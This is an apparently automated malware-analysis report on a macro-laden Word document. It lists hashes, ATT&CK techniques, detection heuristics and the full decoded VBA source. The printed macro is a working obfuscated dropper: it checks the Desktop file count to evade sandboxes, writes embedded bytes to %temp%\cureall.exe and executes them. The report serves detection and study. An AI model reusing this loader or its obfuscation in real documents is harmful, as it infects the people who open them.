Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e0a449d9e263205…

MALICIOUS

Office (OLE)

531.0 KB Created: 2015-12-23 10:52:00 Authoring application: Microsoft Office Word First seen: 2016-02-21
MD5: 0aa8eb49373071e7dc2ab3733222a52d SHA-1: 9dff1c06b2d6d1a2497d491f5dd2edf38eca0d55 SHA-256: 3e0a449d9e2632053c3988ba4b4e0d712f854bab66f5a70d042080c83db69304
388 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing obfuscated VBA macros. The macros utilize WScript.Shell to create a file named 'cureall.exe' in the %temp% directory and execute it. This indicates a dropper functionality, aiming to download and run a secondary payload. The presence of WScript.Shell usage and the creation of an executable in the temporary directory strongly suggest a malicious intent to execute further stages of an attack.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-1584649 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1584649
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set burdock = VBA.CreateObject("WScript.Shell")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set burdock = VBA.CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set burdock = VBA.CreateObject("WScript.Shell")
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    bridoon = CallByName(burdock, theanthropism, VbMethod, "%temp%")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Sub AutoOpen()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3511 bytes
SHA-256: c5a2255b942a1be75d3149f9fc636e6811701dd50ad12a1c0e5b7b3f670319f9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub InsertParagraphMethod()
   Dim MyRange As Object
   Set MyRange = ActiveDocument.Range
   ' Selection Example:
   Selection.InsertParagraph
   ' Range Example:
   MyRange.Collapse Direction:=wdCollapseStart
   MyRange.InsertParagraph
End Sub

Public Sub AutoOpen()
Dim approval As Long
Dim anagyris As Integer
anagyris = firelock.cornwallis
If anagyris = 1 Then
InsertParagraphMethod
Else
firelock.saffroncolored
End If
End Sub


Attribute VB_Name = "firelock"
Sub saffroncolored()
nightfall = "nordpasdecalais"
Dim bridoon As String
Dim remembrances As Long
Dim ass As String
Set burdock = VBA.CreateObject("WScript.Shell")
theanthropism = StrReverse("EdnapxE") + "nvironmentS" + Mid("morositytringscryptogrammataceae", 9, 6) + ""
bridoon = CallByName(burdock, theanthropism, VbMethod, "%temp%")
Dim beatitide As Variant
ass = bridoon & "\cureall.exe"

Dim calliopsis As Object
Dim pertinacious
Dim micmac
micmac = FreeFile
Dim antistrophic
antistrophic = 0
Dim croaking
Dim deoppilate As Long
pertinacious = antistrophic


correctable = Sky.Mage

Dim ormazd As Long
euripus = correctable
vaishnava = Len(euripus)
pertinacious = 1
Open ass For Binary Access Write As #micmac
Dim hydromys As Byte

abouts = 43 - 79 + 90
faddle = 114 + 44 - 90
wish = 105 - 103
If abouts + faddle > 75 Then
calcitration = Left("rolesbianism", 2) + "cky" + "" + Left("isolationism", 0)
End If

For bushwhacker = pertinacious To (vaishnava / wish)
Call firelock.dilated(micmac, euripus, pertinacious)
pertinacious = pertinacious + 2
Next bushwhacker
rebirth = 102 + 57 - 106
aluminous = 39 - 120 + 155
If rebirth + aluminous > 12 Then
deceased = Left("guunmixed", 2) + StrReverse("ur")
End If

Close #micmac
bridoon = CallByName(burdock, "Run", VbMethod, ass)
End Sub

Public Sub dilated(ByRef fluoroscopy, ecco, ingrained)
caenolestidae = VBA.Mid(ecco, ingrained, 2)
Put #fluoroscopy, , CByte("&" + Chr(17 + 55) & caenolestidae)
End Sub

Function cornwallis()
Dim chord As Variant
Dim compiler As Variant
Set jejunus = CreateObject(Left("WScormorant", 2) + "cript.Shell")
Dim scincidae As Long
mouth = "De" + Mid("apart(p)sktodarky", 9, 4) + StrReverse("p") + ""
togo = 113 - 45
acropetal = 103 - 21
If togo + acropetal > 67 Then
adultness = Right("barristercl", 2) + "oudi" + "ng" + Left("agilely", 0)
End If
approve = jejunus.SpecialFolders(mouth)
ornamental = 36 - 76 + 40
Set maintopmast = CreateObject("Scripting.FileSystemObject")
gipsywort = 123 - 57
arcanum = 112 + 109 - 150
If gipsywort + arcanum > 90 Then
decayable = "ty" + Right("headstrongrannid", 6)
End If
Set despisement = maintopmast.GetFolder(approve)
For Each amphibolous In despisement.Files
ornamental = ornamental + 76 - 67 - 8
Next amphibolous
cornwallis = ornamental
End Function


Attribute VB_Name = "Sky"
Attribute VB_Base = "0{2D222FB7-25CE-423E-B78F-22AB819A3CA1}{C920F4AC-71D7-4F36-8B5D-ED405D8790EC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Intruder_Change()

End Sub

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